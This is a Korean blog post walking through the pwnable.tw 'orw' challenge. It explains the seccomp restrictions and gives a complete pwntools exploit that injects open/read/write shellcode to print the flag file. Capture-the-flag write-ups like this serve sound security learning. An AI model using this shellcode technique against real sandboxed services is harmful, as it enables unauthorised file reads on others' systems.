ghkdtlwns987

[pwnable.tw] orw 본문

pwnable.tw

[pwnable.tw] orw

2020/03/31 2020. 11. 16. 20:54

main 함수를 보면 orw_seccomp 라는 함수가 있고, read() 함수로 값을 입력받는다.

보호기법으로는 NX-bit 가 비활성화 되어 있는 것으로 보아, 쉘 코드를 넣어주면 될 거 같다.

 

그렇다면 orw_seccomp() 함수가 뭔지 확인해보자.

여기서 적당히 prctl() 함수가 있다.

prctl() 함수는 리눅스 내부에서 프로세스를 관리할때 사용하는 함수인데 sys/prctl.h 에 선언되어 있다.

이 함수에 대해 깊게 알 필요는 없고,

seccomp filter 을 사용할 때 사용하는 함수이고, prctl 의 인자에 어떤 값이 들어가느냐에 따라 그 용도는 달라진다는 것만 알고 있으면 된다. 

 

그렇다면 seccomp filter 에 대해 알아보자.

seccomp filter 은 strict mode 와 filter mode 가 존재한다.

먼저, filter mode 는 사용자가 지정한 함수의 syscall 만 호출 할 수 있고

strict mode 는  read, write, exit, sigreturn 시스템 콜의 호출만을 허용한다.

 

filter mode는 공격자가 악의적으로 & 연산을 통해 우회할 수 있다.

하지만 strict mode는 &연산으로는 우회가 불가능하다. 

+strict mode 는 다른 방법으로 exploit 해야 하는데, 이는 너무 깊숙히 들어가게 되므로 넘어가겠다.

 

 

orw문제는 shellcode를 넣어주는데, 일반적은 쉘 코드는 execve('/bin/sh') 와 같은 형태를 띄는데, 

이 문제에서는 strict mode 이기 때문에, execve() syscall 호출을 막기 때문에, 다른방법으로 exploit 해야 한다. 

 

그렇다면 shellcode를 넣어줄 때, read,write, 함수로만 exploit 해야 하는 건데, 

shellcode를 작성할 때, flag() 값을 출력해주도록 쉘 코드를 짜면 될 것이다.

위의 그림과 같이 shellcraft 로 쉘 코드를 짜주면 된다.

최종 exploit 코드는 다음과 같다.

from pwn import*
import argparse

context(arch='i386',os='linux')
context.terminal=['tmux','splitw','-h']
context.log_level = 'debug'
parser = argparse.ArgumentParser()
parser.add_argument('-r','--remote',action = 'store_true',help='-r -> remote')

args = parser.parse_args()

host = 'chall.pwnable.tw'
port = 10001

if args.remote:
    r = remote(host,port)
else:
    breakpoint = {'orw_seccomp':0x080484ce,'after_read':0x08048582,'before_read':0x0804857d}
    r = process('./orw')
    gdb.attach(r, 'b*{}'.format(breakpoint['orw_seccomp']))

elf = ELF('./orw')

#shellcode = asm(shellcraft.i386.linux.sh())

#shellcode = shellcraft.open('/home/orw/flag')
shellcode =  shellcraft.pushstr('/home/orw/flag')
shellcode += shellcraft.open('esp',0,0)
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)

shellcode = asm(shellcode)

r.sendlineafter('shellcode:',shellcode)

r.interactive()

 

 

+ 전에 어딛선가 문제를 풀 때, shellcraft.sh() 와 같은 형태를 띈 쉘 코드를 쓰는게 아니라

위와같은 쉘 코드를 쓴 적 있었는데, 이유를 몰랐었다. 하지만 이러한 궁금증을 해결한 것 같다.

'pwnable.tw' 카테고리의 다른 글

[pwnable.tw] hacknote  (0) 2020.12.07
[pwnable.tw] dubblesort  (0) 2020.11.22
[pwnable.tw] 3x17  (0) 2020.11.20
[pwnable.tw] calc  (0) 2020.11.18
[pwnable.tw] start  (0) 2020.11.16
Comments